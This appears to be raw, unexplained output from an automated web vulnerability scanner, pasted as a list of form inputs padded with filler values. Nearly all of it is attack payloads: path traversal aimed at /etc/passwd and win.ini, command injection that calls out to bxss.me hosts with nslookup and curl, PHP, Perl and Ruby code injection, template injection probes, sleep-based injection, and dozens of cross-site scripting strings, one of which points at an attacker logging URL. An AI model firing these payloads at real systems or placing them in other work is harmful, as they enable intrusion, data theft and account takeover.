555

1TTe8tsGO

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

555

555

response.write(9403247*9595808)

'+response.write(9403247*9595808)+'

"+response.write(9403247*9595808)+"

555

<% response.write(9403247*9595808) %>

+response.write(9403247*9595808)'

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

555

../555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

12345'"\'\");|]*

${10000471+9999632}

555

555

555

555

)

!(()&&!|*|*|

555

^(#$!@#$)(()))******

echo whunta$()\ gmaqsu\nz^xyu||a #' &echo whunta$()\ gmaqsu\nz^xyu||a #|" &echo whunta$()\ gmaqsu\nz^xyu||a #

&echo coholw$()\ kiyxqb\nz^xyu||a #' &echo coholw$()\ kiyxqb\nz^xyu||a #|" &echo coholw$()\ kiyxqb\nz^xyu||a #

555&echo ejdjlt$()\ crndfs\nz^xyu||a #' &echo ejdjlt$()\ crndfs\nz^xyu||a #|" &echo ejdjlt$()\ crndfs\nz^xyu||a #

|echo jhvawa$()\ agmrcn\nz^xyu||a #' |echo jhvawa$()\ agmrcn\nz^xyu||a #|" |echo jhvawa$()\ agmrcn\nz^xyu||a #

'.gethostbyname(lc('hituf'.'fyqwzqot97c9e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(84).chr(116).chr(68).'

555|echo ivxwoi$()\ mtifga\nz^xyu||a #' |echo ivxwoi$()\ mtifga\nz^xyu||a #|" |echo ivxwoi$()\ mtifga\nz^xyu||a #

".gethostbyname(lc("hityi"."oqahhzftc0e65.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(68).chr(100).chr(88)."

(nslookup -q=cname hitmhgqwsrmrfba25f.bxss.me||curl hitmhgqwsrmrfba25f.bxss.me))

gethostbyname(lc('hitoj'.'qaagezsr4d1a6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(102).chr(87)

$(nslookup -q=cname hithtroaaajcvb09f5.bxss.me||curl hithtroaaajcvb09f5.bxss.me)

555

&nslookup -q=cname hithznzpvqbdh8b9c4.bxss.me&'\"`0&nslookup -q=cname hithznzpvqbdh8b9c4.bxss.me&`'

555

&(nslookup -q=cname hitvugrptmurte5684.bxss.me||curl hitvugrptmurte5684.bxss.me)&'\"`0&(nslookup -q=cname hitvugrptmurte5684.bxss.me||curl hitvugrptmurte5684.bxss.me)&`'

555

|(nslookup -q=cname hitdkbrlorlpg0cf24.bxss.me||curl hitdkbrlorlpg0cf24.bxss.me)

`(nslookup -q=cname hitipdqzkdprx5fa80.bxss.me||curl hitipdqzkdprx5fa80.bxss.me)`

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

;(nslookup -q=cname hitqnfcxtkvfzd37d9.bxss.me||curl hitqnfcxtkvfzd37d9.bxss.me)|(nslookup -q=cname hitqnfcxtkvfzd37d9.bxss.me||curl hitqnfcxtkvfzd37d9.bxss.me)&(nslookup -q=cname hitqnfcxtkvfzd37d9.bxss.me||curl hitqnfcxtkvfzd37d9.bxss.me)

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

|(nslookup${IFS}-q${IFS}cname${IFS}hititltchpvaj69e21.bxss.me||curl${IFS}hititltchpvaj69e21.bxss.me)

HttP://bxss.me/t/xss.html?%00

555

Http://bxss.me/t/fit.txt

&(nslookup${IFS}-q${IFS}cname${IFS}hitoqggcmohjs7a6a0.bxss.me||curl${IFS}hitoqggcmohjs7a6a0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoqggcmohjs7a6a0.bxss.me||curl${IFS}hitoqggcmohjs7a6a0.bxss.me)&`'

bxss.me/t/xss.html?%00

555

http://bxss.me/t/fit.txt?.jpg

/etc/shells

555

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

'"()

bxss.me

555'&&sleep(27*1000)*qqjthz&&'

555"&&sleep(27*1000)*ivybkh&&"

555'||sleep(27*1000)*bqgdgy||'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555"||sleep(27*1000)*lkiwaz||"

';print(md5(31337));$a='

xfs.bxss.me

answer4gr.asp

555

";print(md5(31337));$a="

555

answer4gr.asp

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(116).concat(76).concat(107).concat(81)+(require"socket" Socket.gethostbyname("hitie"+"sqlkasku057d9.bxss.me.")[3].to_s)+"

answer4gr.asp/.

${@print(md5(31337))}\

'+'A'.concat(70-3).concat(22*4).concat(114).concat(73).concat(106).concat(72)+(require'socket' Socket.gethostbyname('hittt'+'pnnesxppa8765.bxss.me.')[3].to_s)+'

555

'.print(md5(31337)).'

'A'.concat(70-3).concat(22*4).concat(115).concat(66).concat(105).concat(70)+(require'socket' Socket.gethostbyname('hitni'+'ulzchtvr0634f.bxss.me.')[3].to_s)

555

555

'"

555

555

<!--

555

555

555

555'"()&%<zzz><ScRiPt >WfR2(9081)</ScRiPt>

555

'"()&%<zzz><ScRiPt >WfR2(9467)</ScRiPt>

555

5559946820

555

bfg4380οΌœs1οΉ¥s2ΚΊs3ΚΉhjl4380

555

555

bfgx6194ΐΎz1ΐΌz2abcxhjl6194

555

<%={{={@{#{${dfb}}%>

555

555

<th:t="${dfb}#foreach

555

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >WfR2(9765)</ScRiPt>

555<WBQQME>QBSEX[!+!]</WBQQME>

555<script>WfR2(9560)</script>

555<script>WfR2(9135)</script>9135

555<ScR<ScRiPt>IpT>WfR2(9958)</sCr<ScRiPt>IpT>

555

555<ScRiPt
>WfR2(9137)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9181></ScRiPt>

555<

555<svg 
 

555<isindex type=image src=1 onerror=WfR2(9472)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9545'>

555<body onload=WfR2(9744)>

555<img src=//xss.bxss.me/t/dot.gif onload=WfR2(9579)>

555<img src=xyz OnErRor=WfR2(9493)>

555

555<img/src=">" onerror=alert(9264)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%66%52%32%289325%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\WfR2(9548)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;WfR2(9248)&lt;/sCripT&gt;

φ<img zzz onmouseover=WfR2(95221) //φ>

555<input autofocus onfocus=WfR2(9220)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(WfR2(9431))}

555DtK0D <ScRiPt >WfR2(9512)</ScRiPt>

555<WTUEYR>B0ZHN[!+!]</WTUEYR>

555<ifRAme sRc=9976.com></IfRamE>

555<aCeJo43 x=9612>

555<img sRc='http://attacker-9036/log.php?

555<aG2ODZ6<

555

555

555

555

555

555